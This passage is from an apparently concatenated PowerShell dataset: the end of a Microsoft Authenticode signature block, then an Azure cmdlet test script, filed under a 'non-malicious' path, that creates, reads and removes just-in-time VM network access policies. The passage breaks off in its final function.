Q29kU2lnUENBMjAxMV8yMDExLTA3LTA4LmNybDBhBggr // SIG // BgEFBQcBAQRVMFMwUQYIKwYBBQUHMAKGRWh0dHA6Ly93 // SIG // d3cubWljcm9zb2Z0LmNvbS9wa2lvcHMvY2VydHMvTWlj // SIG // Q29kU2lnUENBMjAxMV8yMDExLTA3LTA4LmNydDAMBgNV // SIG // HRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4ICAQCEsRbf // SIG // 80dn60xTweOWHZoWaQdpzSaDqIvqpYHE5ZzuEMJWDdcP // SIG // 72MGw8v6BSaJQ+a+hTCXdERnIBDPKvU4ENjgu4EBJocH // SIG // lSe8riiZUAR+z+z4OUYqoFd3EqJyfjjOJBR2z94Dy4ss // SIG // 7LEkHUbj2NZiFqBoPYu2OGQvEk+1oaUsnNKZ7Nl7FHtV // SIG // 7CI2lHBru83e4IPe3glIi0XVZJT5qV6Gx/QhAFmpEVBj // SIG // SAmDdgII4UUwuI9yiX6jJFNOEek6MoeP06LMJtbqA3Bq // SIG // +ZWmJ033F97uVpyaiS4bj3vFI/ZBgDnMqNDtZjcA2vi4 // SIG // RRMweggd9vsHyTLpn6+nXoLy03vMeebq0C3k44pgUIEu // SIG // PQUlJIRTe6IrN3GcjaZ6zHGuQGWgu6SyO9r7qkrEpS2p // SIG // RjnGZjx2RmCamdAWnDdu+DmfNEPAddYjaJJ7PTnd+PGz // SIG // G+WeH4ocWgVnm5fJFhItjj70CJjgHqt57e1FiQcyWCwB // SIG // hKX2rGgN2UICHBF3Q/rsKOspjMw2OlGphTn2KmFl5J7c // SIG // Qxru54A9roClLnHGCiSUYos/iwFHI/dAVXEh0S0KKfTf // SIG // M6AC6/9bCbsD61QLcRzRIElvgCgaiMWFjOBL99pemoEl // SIG // AHsyzG6uX93fMfas09N9YzA0/rFAKAsNDOcFbQlEHKiD // SIG // T7mI20tVoCcmSIhJATCCB3owggVioAMCAQICCmEOkNIA // SIG // AAAAAAMwDQYJKoZIhvcNAQELBQAwgYgxCzAJBgNVBAYT // SIG // AlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQH // SIG // EwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29y // SIG // cG9yYXRpb24xMjAwBgNVBAMTKU1pY3Jvc29mdCBSb290 // SIG // IENlcnRpZmljYXRlIEF1dGhvcml0eSAyMDExMB4XDTEx // SIG // MDcwODIwNTkwOVoXDTI2MDcwODIxMDkwOVowfjELMAkG // SIG // A1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAO // SIG // BgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29m // SIG // dCBDb3Jwb3JhdGlvbjEoMCYGA1UEAxMfTWljcm9zb2Z0 // SIG // IENvZGUgU2lnbmluZyBQQ0EgMjAxMTCCAiIwDQYJKoZI // SIG // hvcNAQEBBQADggIPADCCAgoCggIBAKvw+nIQHC6t2G6q // SIG // ghBNNLrytlghn0IbKmvpWlCquAY4GgRJun/DDB7dN2vG // SIG // EtgL8DjCmQawyDnVARQxQtOJDXlkh36UYCRsr55JnOlo // SIG // XtLfm1OyCizDr9mpK656Ca/XllnKYBoF6WZ26DJSJhIv // SIG // 56sIUM+zRLdd2MQuA3WraPPLbfM6XKEW9Ea64DhkrG5k // SIG // NXimoGMPLdNAk/jj3gcN1Vx5pUkp5w2+oBN3vpQ97/vj // SIG // K1oQH01WKKJ6cuASOrdJXtjt7UORg9l7snuGG9k+sYxd // SIG // 6IlPhBryoS9Z5JA7La4zWMW3Pv4y07MDPbGyr5I4ftKd // SIG // gCz1TlaRITUlwzluZH9TupwPrRkjhMv0ugOGjfdf8NBS // SIG // v4yUh7zAIXQlXxgotswnKDglmDlKNs98sZKuHCOnqWbs // SIG // YR9q4ShJnV+I4iVd0yFLPlLEtVc/JAPw0XpbL9Uj43Bd // SIG // D1FGd7P4AOG8rAKCX9vAFbO9G9RVS+c5oQ/pI0m8GLhE // SIG // fEXkwcNyeuBy5yTfv0aZxe/CHFfbg43sTUkwp6uO3+xb // SIG // n6/83bBm4sGXgXvt1u1L50kppxMopqd9Z4DmimJ4X7Iv // SIG // hNdXnFy/dygo8e1twyiPLI9AN0/B4YVEicQJTMXUpUMv // SIG // dJX3bvh4IFgsE11glZo+TzOE2rCIF96eTvSWsLxGoGyY // SIG // 0uDWiIwLAgMBAAGjggHtMIIB6TAQBgkrBgEEAYI3FQEE // SIG // AwIBADAdBgNVHQ4EFgQUSG5k5VAF04KqFzc3IrVtqMp1 // SIG // ApUwGQYJKwYBBAGCNxQCBAweCgBTAHUAYgBDAEEwCwYD // SIG // VR0PBAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j // SIG // BBgwFoAUci06AjGQQ7kUBU7h6qfHMdEjiTQwWgYDVR0f // SIG // BFMwUTBPoE2gS4ZJaHR0cDovL2NybC5taWNyb3NvZnQu // SIG // Y29tL3BraS9jcmwvcHJvZHVjdHMvTWljUm9vQ2VyQXV0 // SIG // MjAxMV8yMDExXzAzXzIyLmNybDBeBggrBgEFBQcBAQRS // SIG // MFAwTgYIKwYBBQUHMAKGQmh0dHA6Ly93d3cubWljcm9z // SIG // b2Z0LmNvbS9wa2kvY2VydHMvTWljUm9vQ2VyQXV0MjAx // SIG // MV8yMDExXzAzXzIyLmNydDCBnwYDVR0gBIGXMIGUMIGR // SIG // BgkrBgEEAYI3LgMwgYMwPwYIKwYBBQUHAgEWM2h0dHA6 // SIG // Ly93d3cubWljcm9zb2Z0LmNvbS9wa2lvcHMvZG9jcy9w // SIG // cmltYXJ5Y3BzLmh0bTBABggrBgEFBQcCAjA0HjIgHQBM // SIG // AGUAZwBhAGwAXwBwAG8AbABpAGMAeQBfAHMAdABhAHQA // SIG // ZQBtAGUAbgB0AC4gHTANBgkqhkiG9w0BAQsFAAOCAgEA // SIG // Z/KGpZjgVHkaLtPYdGcimwuWEeFjkplCln3SeQyQwWVf // SIG // Liw++MNy0W2D/r4/6ArKO79HqaPzadtjvyI1pZddZYSQ // SIG // fYtGUFXYDJJ80hpLHPM8QotS0LD9a+M+By4pm+Y9G6XU // SIG // tR13lDni6WTJRD14eiPzE32mkHSDjfTLJgJGKsKKELuk // SIG // qQUMm+1o+mgulaAqPyprWEljHwlpblqYluSD9MCP80Yr // SIG // 3vw70L01724lruWvJ+3Q3fMOr5kol5hNDj0L8giJ1h/D // SIG // Mhji8MUtzluetEk5CsYKwsatruWy2dsViFFFWDgycSca // SIG // f7H0J/jeLDogaZiyWYlobm+nt3TDQAUGpgEqKD6CPxNN // SIG // ZgvAs0314Y9/HG8VfUWnduVAKmWjw11SYobDHWM2l4bf // SIG // 2vP48hahmifhzaWX0O5dY0HjWwechz4GdwbRBrF1HxS+ // SIG // YWG18NzGGwS+30HHDiju3mUv7Jf2oVyW2ADWoUa9WfOX // SIG // pQlLSBCZgB/QACnFsZulP0V3HjXG0qKin3p6IvpIlR+r // SIG // +0cjgPWe+L9rt0uX4ut1eBrs6jeZeRhL/9azI2h15q/6 // SIG // /IvrC4DqaTuv/DDtBEyO3991bWORPdGdVk5Pv4BXIqF4 // SIG // ETIheu9BCrE/+6jMpF3BoYibV3FWTkhFwELJm3ZbCoBI // SIG // a/15n8G9bW1qyVJzEw16UM0xghoMMIIaCAIBATCBlTB+ // SIG // MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3Rv // SIG // bjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWlj // SIG // cm9zb2Z0IENvcnBvcmF0aW9uMSgwJgYDVQQDEx9NaWNy // SIG // b3NvZnQgQ29kZSBTaWduaW5nIFBDQSAyMDExAhMzAAAD // SIG // rzBADkyjTQVBAAAAAAOvMA0GCWCGSAFlAwQCAQUAoIGu // SIG // MBkGCSqGSIb3DQEJAzEMBgorBgEEAYI3AgEEMBwGCisG // SIG // AQQBgjcCAQsxDjAMBgorBgEEAYI3AgEVMC8GCSqGSIb3 // SIG // DQEJBDEiBCAfbKsQpToT0qBniqweJH5PEJvs7x+0Wgbe // SIG // VvimFihyAjBCBgorBgEEAYI3AgEMMTQwMqAUgBIATQBp // SIG // AGMAcgBvAHMAbwBmAHShGoAYaHR0cDovL3d3dy5taWNy // SIG // b3NvZnQuY29tMA0GCSqGSIb3DQEBAQUABIIBAG3f83B2 // SIG // oxiclL6iAmCAj9IxvGlT0lAUdNHWGEV2eynE61UsHzlL // SIG // YTeQYakgzqCOJcu2tGMkOAA1aFWTrvPaxDW3p5ZJAT+k // SIG // evvX0filL1CQtC7B3PrTgjgZlTl3z+pWpYdRiNtVhZ8E // SIG // alR2+OPF11I87alIlAZ+k1rUq8vzZkDe63Z6CXaC9ec1 // SIG // GoKHaNZn46bA1lL4RcGH5IrPuuKsIkLctgnMhuZ///ZA // SIG // XGOOjbZRL3FDskrkLoWOJZ2cRzjt6+zbXPgYKuxImNef // SIG // PpPxPKen0y+r761iHntKJetqWgxMSX5vznCfG179rNLd // SIG // Y3MPlp+RIzcFTU8ylDYkWmtzPNWhgheWMIIXkgYKKwYB // SIG // BAGCNwMDATGCF4Iwghd+BgkqhkiG9w0BBwKgghdvMIIX // SIG // awIBAzEPMA0GCWCGSAFlAwQCAQUAMIIBUgYLKoZIhvcN // SIG // AQkQAQSgggFBBIIBPTCCATkCAQEGCisGAQQBhFkKAwEw // SIG // MTANBglghkgBZQMEAgEFAAQgzq/hbdJPKpVhvtKriLp+ // SIG // I4rPrl5yy/xd1AJp1FGOyFMCBmXnp72g5BgTMjAyNDAz // SIG // MDYwMjM4NTguMTA3WjAEgAIB9KCB0aSBzjCByzELMAkG // SIG // A1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAO // SIG // BgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29m // SIG // dCBDb3Jwb3JhdGlvbjElMCMGA1UECxMcTWljcm9zb2Z0 // SIG // IEFtZXJpY2EgT3BlcmF0aW9uczEnMCUGA1UECxMeblNo // SIG // aWVsZCBUU1MgRVNOOkUwMDItMDVFMC1EOTQ3MSUwIwYD // SIG // VQQDExxNaWNyb3NvZnQgVGltZS1TdGFtcCBTZXJ2aWNl // SIG // oIIR7DCCByAwggUIoAMCAQICEzMAAAHuBdMCMLKanacA // SIG // AQAAAe4wDQYJKoZIhvcNAQELBQAwfDELMAkGA1UEBhMC // SIG // VVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcT // SIG // B1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jw // SIG // b3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRpbWUt // SIG // U3RhbXAgUENBIDIwMTAwHhcNMjMxMjA2MTg0NTQ0WhcN // SIG // MjUwMzA1MTg0NTQ0WjCByzELMAkGA1UEBhMCVVMxEzAR // SIG // BgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1v // SIG // bmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv // SIG // bjElMCMGA1UECxMcTWljcm9zb2Z0IEFtZXJpY2EgT3Bl // SIG // cmF0aW9uczEnMCUGA1UECxMeblNoaWVsZCBUU1MgRVNO // SIG // OkUwMDItMDVFMC1EOTQ3MSUwIwYDVQQDExxNaWNyb3Nv // SIG // ZnQgVGltZS1TdGFtcCBTZXJ2aWNlMIICIjANBgkqhkiG // SIG // 9w0BAQEFAAOCAg8AMIICCgKCAgEAvvG8pdeihImvMSku // SIG // L1S+0RDjkey82Ai1xLVoHqsjlZa87hM/gKAmuLQRhEo2 // SIG // x01xAnjDsD/Uz3imimpX01OV0ho6SYaRsefX8TCaE2Fj // SIG // 88w9DtkQJcgZjgQZoiw10Q0CS9UbbgI7woi7pVUHojyP // SIG // Fe/h4U0d/dU2wtW3kscF33SiamNaJ4w2sKgyQJrcLAP4 // SIG // Jql4B8BfX2VnMCkrl4mQU21OX3Jt24YZUTcOXdOC3deW // SIG // Vs1Zf1Q6f4kXqxqNiLP9FsJ/2t3hjnR6738CG35OpVas // SIG // GzUBNdTnnZ9rr0YylhMHq1y+9Drg2fLy88a8tMhHb0PJ // SIG // MvlX6vJnxF0vdO2O6zfx2F+nArAtrKMlxtzsArSwO6NP // SIG // /pCiWbjqw+R1K0s95H6oA5Zlsuu8/GWT45IgwtXWFtYz // SIG // e+7eYkpeVqdRygaeyVPEYkSPr2NotXG+V9kRJMN1qzVv // SIG // 426H1xLPbeG4HfslPLICp/TLVZ0OubOkBu9jP8mlGRth // SIG // zCN9bZvZqKB9vbzwTvYwzDiLtC8M1E5CFn5YHf7xFn0z // SIG // XD1hEI+37FrkqFbid7gasDZkUqZkA80nzGiM7srNKb1d // SIG // YxVqrasMAnGmP1l7G/2sZMQf8wk3R0gVCfE5t4uDzPbJ // SIG // Irp12PnEqh+fI1pKR22ywNzn7LO3viWzIypk3XI5kpG+ // SIG // aDfKlNcCAwEAAaOCAUkwggFFMB0GA1UdDgQWBBQQiM0/ // SIG // GtncIJ69+8Xftr9f3HamCDAfBgNVHSMEGDAWgBSfpxVd // SIG // AF5iXYP05dJlpxtTNRnpcjBfBgNVHR8EWDBWMFSgUqBQ // SIG // hk5odHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpb3Bz // SIG // L2NybC9NaWNyb3NvZnQlMjBUaW1lLVN0YW1wJTIwUENB // SIG // JTIwMjAxMCgxKS5jcmwwbAYIKwYBBQUHAQEEYDBeMFwG // SIG // CCsGAQUFBzAChlBodHRwOi8vd3d3Lm1pY3Jvc29mdC5j // SIG // b20vcGtpb3BzL2NlcnRzL01pY3Jvc29mdCUyMFRpbWUt // SIG // U3RhbXAlMjBQQ0ElMjAyMDEwKDEpLmNydDAMBgNVHRMB // SIG // Af8EAjAAMBYGA1UdJQEB/wQMMAoGCCsGAQUFBwMIMA4G // SIG // A1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOCAgEA // SIG // d2cgL2thCjlklaQZ2JM1/H/BmY2jrOe+xfaNeAJ4fZSs // SIG // urUt+MF6D1xMkKdb9YiO6yc2VRu66VM52stp/XLH596e // SIG // su5GJB6rUroAhpk4ogZMIRX0gcijyNPDJJYLybyk2W+u // SIG // 98hn6RcD40MGXiOhD4/zgLaWJE+yFF6jJItQkTCSoHmO // SIG // MFEQnHCLo3VkZKFb+Cd6v/OyhNKj0JgEfX6jDcYyN2Qp // SIG // VcQOMIjN7TVZUWxfUoKTp41aNz/yOafCXeNYTUlQsf/I // SIG // 96jO2i0irQ8zhFDbPmbY4c55mYFHe/wFhw4cAR3S+e0y // SIG // PYe54mZHzmTl53GLCsRuIK8k7IVOhurAGKW6nTBP/v4N // SIG // bnq+1RiB1LS6t1tAJ5vJQH0vT6rYbJGbeeCRdvAh3bBa // SIG // v+11QbRZcS/yoHEMpSTZ4mvmp4sVButMlA7dxTBkiSN+ // SIG // MRvTR7M9waaklrnhrSYUOWTdCvI7tLzVYBfg79ObIqz4 // SIG // NH7Uin/RVRAqfd6PKIBePI4fAk/wd9pc9Q+k67pOBM3M // SIG // OxNTobTjH+wx4DzFn+ljnWJ3/h2kice2U1wibFuaDpDN // SIG // LC4rcQaUqRnI9mI5zc5wqbBD2WrdIfune7pUWlkeURwF // SIG // MhRUPY0WuylmjRnRC07Ppx0pWI2HkKSuUEl44oHSpS0D // SIG // wZV/vczqBgCYaGX66Y6uJ0AwggdxMIIFWaADAgECAhMz // SIG // AAAAFcXna54Cm0mZAAAAAAAVMA0GCSqGSIb3DQEBCwUA // SIG // MIGIMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGlu // SIG // Z3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMV // SIG // TWljcm9zb2Z0IENvcnBvcmF0aW9uMTIwMAYDVQQDEylN // SIG // aWNyb3NvZnQgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3Jp // SIG // dHkgMjAxMDAeFw0yMTA5MzAxODIyMjVaFw0zMDA5MzAx // SIG // ODMyMjVaMHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpX // SIG // YXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYD // SIG // VQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xJjAkBgNV // SIG // BAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEw // SIG // MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA // SIG // 5OGmTOe0ciELeaLL1yR5vQ7VgtP97pwHB9KpbE51yMo1 // SIG // V/YBf2xK4OK9uT4XYDP/XE/HZveVU3Fa4n5KWv64NmeF // SIG // RiMMtY0Tz3cywBAY6GB9alKDRLemjkZrBxTzxXb1hlDc // SIG // wUTIcVxRMTegCjhuje3XD9gmU3w5YQJ6xKr9cmmvHaus // SIG // 9ja+NSZk2pg7uhp7M62AW36MEBydUv626GIl3GoPz130 // SIG // /o5Tz9bshVZN7928jaTjkY+yOSxRnOlwaQ3KNi1wjjHI // SIG // NSi947SHJMPgyY9+tVSP3PoFVZhtaDuaRr3tpK56KTes // SIG // y+uDRedGbsoy1cCGMFxPLOJiss254o2I5JasAUq7vnGp // SIG // F1tnYN74kpEeHT39IM9zfUGaRnXNxF803RKJ1v2lIH1+ // SIG // /NmeRd+2ci/bfV+AutuqfjbsNkz2K26oElHovwUDo9Fz // SIG // pk03dJQcNIIP8BDyt0cY7afomXw/TNuvXsLz1dhzPUNO // SIG // wTM5TI4CvEJoLhDqhFFG4tG9ahhaYQFzymeiXtcodgLi // SIG // Mxhy16cg8ML6EgrXY28MyTZki1ugpoMhXV8wdJGUlNi5 // SIG // UPkLiWHzNgY1GIRH29wb0f2y1BzFa/ZcUlFdEtsluq9Q // SIG // BXpsxREdcu+N+VLEhReTwDwV2xo3xwgVGD94q0W29R6H // SIG // XtqPnhZyacaue7e3PmriLq0CAwEAAaOCAd0wggHZMBIG // SIG // CSsGAQQBgjcVAQQFAgMBAAEwIwYJKwYBBAGCNxUCBBYE // SIG // FCqnUv5kxJq+gpE8RjUpzxD/LwTuMB0GA1UdDgQWBBSf // SIG // pxVdAF5iXYP05dJlpxtTNRnpcjBcBgNVHSAEVTBTMFEG // SIG // DCsGAQQBgjdMg30BATBBMD8GCCsGAQUFBwIBFjNodHRw // SIG // Oi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpb3BzL0RvY3Mv // SIG // UmVwb3NpdG9yeS5odG0wEwYDVR0lBAwwCgYIKwYBBQUH // SIG // AwgwGQYJKwYBBAGCNxQCBAweCgBTAHUAYgBDAEEwCwYD // SIG // VR0PBAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j // SIG // BBgwFoAU1fZWy4/oolxiaNE9lJBb186aGMQwVgYDVR0f // SIG // BE8wTTBLoEmgR4ZFaHR0cDovL2NybC5taWNyb3NvZnQu // SIG // Y29tL3BraS9jcmwvcHJvZHVjdHMvTWljUm9vQ2VyQXV0 // SIG // XzIwMTAtMDYtMjMuY3JsMFoGCCsGAQUFBwEBBE4wTDBK // SIG // BggrBgEFBQcwAoY+aHR0cDovL3d3dy5taWNyb3NvZnQu // SIG // Y29tL3BraS9jZXJ0cy9NaWNSb29DZXJBdXRfMjAxMC0w // SIG // Ni0yMy5jcnQwDQYJKoZIhvcNAQELBQADggIBAJ1Vffwq // SIG // reEsH2cBMSRb4Z5yS/ypb+pcFLY+TkdkeLEGk5c9MTO1 // SIG // OdfCcTY/2mRsfNB1OW27DzHkwo/7bNGhlBgi7ulmZzpT // SIG // Td2YurYeeNg2LpypglYAA7AFvonoaeC6Ce5732pvvinL // SIG // btg/SHUB2RjebYIM9W0jVOR4U3UkV7ndn/OOPcbzaN9l // SIG // 9qRWqveVtihVJ9AkvUCgvxm2EhIRXT0n4ECWOKz3+SmJ // SIG // w7wXsFSFQrP8DJ6LGYnn8AtqgcKBGUIZUnWKNsIdw2Fz // SIG // Lixre24/LAl4FOmRsqlb30mjdAy87JGA0j3mSj5mO0+7 // SIG // hvoyGtmW9I/2kQH2zsZ0/fZMcm8Qq3UwxTSwethQ/gpY // SIG // 3UA8x1RtnWN0SCyxTkctwRQEcb9k+SS+c23Kjgm9swFX // SIG // SVRk2XPXfx5bRAGOWhmRaw2fpCjcZxkoJLo4S5pu+yFU // SIG // a2pFEUep8beuyOiJXk+d0tBMdrVXVAmxaQFEfnyhYWxz // SIG // /gq77EFmPWn9y8FBSX5+k77L+DvktxW/tM4+pTFRhLy/ // SIG // AsGConsXHRWJjXD+57XQKBqJC4822rpM+Zv/Cuk0+CQ1 // SIG // ZyvgDbjmjJnW4SLq8CdCPSWU5nR0W2rRnj7tfqAxM328 // SIG // y+l7vzhwRNGQ8cirOoo6CGJ/2XBjU02N7oJtpQUQwXEG // SIG // ahC0HVUzWLOhcGbyoYIDTzCCAjcCAQEwgfmhgdGkgc4w // SIG // gcsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5n // SIG // dG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVN // SIG // aWNyb3NvZnQgQ29ycG9yYXRpb24xJTAjBgNVBAsTHE1p // SIG // Y3Jvc29mdCBBbWVyaWNhIE9wZXJhdGlvbnMxJzAlBgNV // SIG // BAsTHm5TaGllbGQgVFNTIEVTTjpFMDAyLTA1RTAtRDk0 // SIG // NzElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAg // SIG // U2VydmljZaIjCgEBMAcGBSsOAwIaAxUAiKOm1Tb35RcW // SIG // 1Fgg0N2GCsujvpOggYMwgYCkfjB8MQswCQYDVQQGEwJV // SIG // UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH // SIG // UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBv // SIG // cmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQgVGltZS1T // SIG // dGFtcCBQQ0EgMjAxMDANBgkqhkiG9w0BAQsFAAIFAOmS // SIG // JjwwIhgPMjAyNDAzMDUyMzE2MTJaGA8yMDI0MDMwNjIz // SIG // MTYxMlowdjA8BgorBgEEAYRZCgQBMS4wLDAKAgUA6ZIm // SIG // PAIBADAJAgEAAgE/AgH/MAcCAQACAhNQMAoCBQDpk3e8 // SIG // AgEAMDYGCisGAQQBhFkKBAIxKDAmMAwGCisGAQQBhFkK // SIG // AwKgCjAIAgEAAgMHoSChCjAIAgEAAgMBhqAwDQYJKoZI // SIG // hvcNAQELBQADggEBAHtFIjFHTncKbyF81u6p9EiZQ0V4 // SIG // cRLK31jPM79iZ/s3xWBoYFUKCD2NglCZh9df5RUdE9T8 // SIG // Q0r8A0ArIe73CcVf+ob+E3ixV4PVUFE6gTuj1DH+//G8 // SIG // 6rWmj5I9Hi0iyRG6ZMdPNNca2CnXxdVYn9lAq72RGhON // SIG // Qg/e5cSHoIXU4fdz0zQWGKBRFcCWWe2iCbcekp6hQsfL // SIG // tj9bNIDJX5nLpyYN1RECOSOKfqpTwVMeNBS50jL9QZQa // SIG // M2LmswOVxkUEViEvCazgSsHwMLxszzU2wcfWV1xm1Aeh // SIG // IxaY5SOjodk3DyWSO4MlakKK0lkdsNHa7Y+gePD+6PW6 // SIG // QqiSQRoxggQNMIIECQIBATCBkzB8MQswCQYDVQQGEwJV // SIG // UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH // SIG // UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBv // SIG // cmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQgVGltZS1T // SIG // dGFtcCBQQ0EgMjAxMAITMwAAAe4F0wIwspqdpwABAAAB // SIG // 7jANBglghkgBZQMEAgEFAKCCAUowGgYJKoZIhvcNAQkD // SIG // MQ0GCyqGSIb3DQEJEAEEMC8GCSqGSIb3DQEJBDEiBCBS // SIG // ev+uvYPcFrKlMdyLlG0vNGBfM0e/aO2XF8HPouxiLzCB // SIG // +gYLKoZIhvcNAQkQAi8xgeowgecwgeQwgb0EIE9QdxSV // SIG // hfq+Vdf+DPs+5EIkBz9oCS/OQflHkVRhfjAhMIGYMIGA // SIG // pH4wfDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hp // SIG // bmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoT // SIG // FU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UEAxMd // SIG // TWljcm9zb2Z0IFRpbWUtU3RhbXAgUENBIDIwMTACEzMA // SIG // AAHuBdMCMLKanacAAQAAAe4wIgQgmypyn1FPycbAbujg // SIG // 8Cb6iNoYQCnJUbCMPfa5mVIeGuEwDQYJKoZIhvcNAQEL // SIG // BQAEggIAulzRjKhl1mJ/I5Hr9OkwkjT3Kmz6htt9cBTD // SIG // g4AWVlS2n6sNGedA0Rr/Z79wnEYEwEM5PX8Al6C38YIW // SIG // KQ7dZeIBLVUr/VWN9rlF5IiDOOOu4UYZjeOpE9hhkI1h // SIG // YRMRvNpBn/Clw8CA+TlHBSPKrFcZ6grw9f4OqGiN+R9n // SIG // 7wrMMGvtfhAlsMRQLrMqnOh6TxhNOYzYuEtVza84W6JG // SIG // 42NUQrFnJ+Q0h/d16SbrwW6Xq66GXhnap6Zj9L6yQCFC // SIG // 2VL7i5b+l2lhpBgSEP5JSqkNMlCiB0ovFOMRq11TMPAE // SIG // gHDnuYxEGJgl708IpnyPBpLtwO9wPJ8GTRdM4q96uR4J // SIG // HeKT5tDpDy93QrNbXbACcIFv/9fJkmOs67Z7N+/MeSOh // SIG // evvhpHbmH9qB5NabSlvgHGwGlYAEu/O8NQ2Q2yTqqFaG // SIG // Py9/LH+Z5FwUJ7yIeJHT/U4XKnbEPWn36+LulbVL+d2u // SIG // 6g7BNcdS4fSom+aqDlCTAF6Qom7D+TD5MSy5bhkCpWXd // SIG // kmDQ7kvyTn83+q/VSOdn5kCLywAsoV5fI/wpcNzxin6e // SIG // 6xpVpWuL1pnV7rj5MJuyTIxWket4S8wdXjNLulGDVL9x // SIG // mkwvbb4S9C9xo36rXltwDmdMUbYnNxi2hzhuUi72+nCj // SIG // kM3/G4KXXICHpPY5++31IhV2bPuvyLc= // SIG // End signature block
combined_dataset/train/non-malicious/3602.ps1
3602.ps1
function Get-AzureRmJitNetworkAccessPolicy-SubscriptionScope { Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource $jitNetworkAccessPolicies = Get-AzJitNetworkAccessPolicy Validate-JitNetworkAccessPolicies $jitNetworkAccessPolicies } function Get-AzureRmJitNetworkAccessPolicy-ResourceGroupScope { Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource $rgName = Get-TestResourceGroupName $jitNetworkAccessPolicies = Get-AzJitNetworkAccessPolicy -ResourceGroupName $rgName Validate-JitNetworkAccessPolicies $jitNetworkAccessPolicies } function Get-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource { $jitNetworkAccessPolicy = Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource $rgName = Extract-ResourceGroup -ResourceId $jitNetworkAccessPolicy.Id $location = Extract-ResourceLocation -ResourceId $jitNetworkAccessPolicy.Id $fetchedJitNetworkAccessPolicy = Get-AzJitNetworkAccessPolicy -ResourceGroupName $rgName -Location $location -Name $jitNetworkAccessPolicy.Name Validate-JitNetworkAccessPolicy $fetchedJitNetworkAccessPolicy } function Get-AzureRmJitNetworkAccessPolicy-ResourceId { $jitNetworkAccessPolicy = Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource $fetchedJitNetworkAccessPolicy = Get-AzJitNetworkAccessPolicy -ResourceId $jitNetworkAccessPolicy.Id Validate-JitNetworkAccessPolicy $fetchedJitNetworkAccessPolicy } function Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource { Set-AzSecurityPricing -Name "VirtualMachines" -PricingTier "Standard" | Out-Null $rgName = Get-TestResourceGroupName [Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPolicyVirtualMachine]$vm = New-Object -TypeName Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPolicyVirtualMachine $vm.Id = "/subscriptions/487bb485-b5b0-471e-9c0d-10717612f869/resourceGroups/myService1/providers/Microsoft.Compute/virtualMachines/testService" [Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPortRule]$port = New-Object -TypeName Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPortRule $port.AllowedSourceAddressPrefix = "127.0.0.1" $port.MaxRequestAccessDuration = "PT3H" $port.Number = 22 $port.Protocol = "TCP" $vm.Ports = [Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPortRule[]](,$port) [Microsoft.Azure.Commands.Security.Models.JitNetworkAccessPolicies.PSSecurityJitNetworkAccessPolicyVirtualMachine[]]$vms = (,$vm) return Set-AzureRmJitNetworkAccessPolicy -ResourceGroupName $rgName -Location "centralus" -Name "default" -Kind "Basic" -VirtualMachine $vms } function Remove-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource { Set-AzureRmJitNetworkAccessPolicy-ResourceGroupLevelResource $rgName = Get-TestResourceGroupName Remove-AzJitNetworkAccessPolicy -ResourceGroupName $rgName -Location "centralus" -Name "default" } function Remove-AzureRmJitNetworkAccessPolicy-ResourceId { $jitNetworkAccessPolicy = 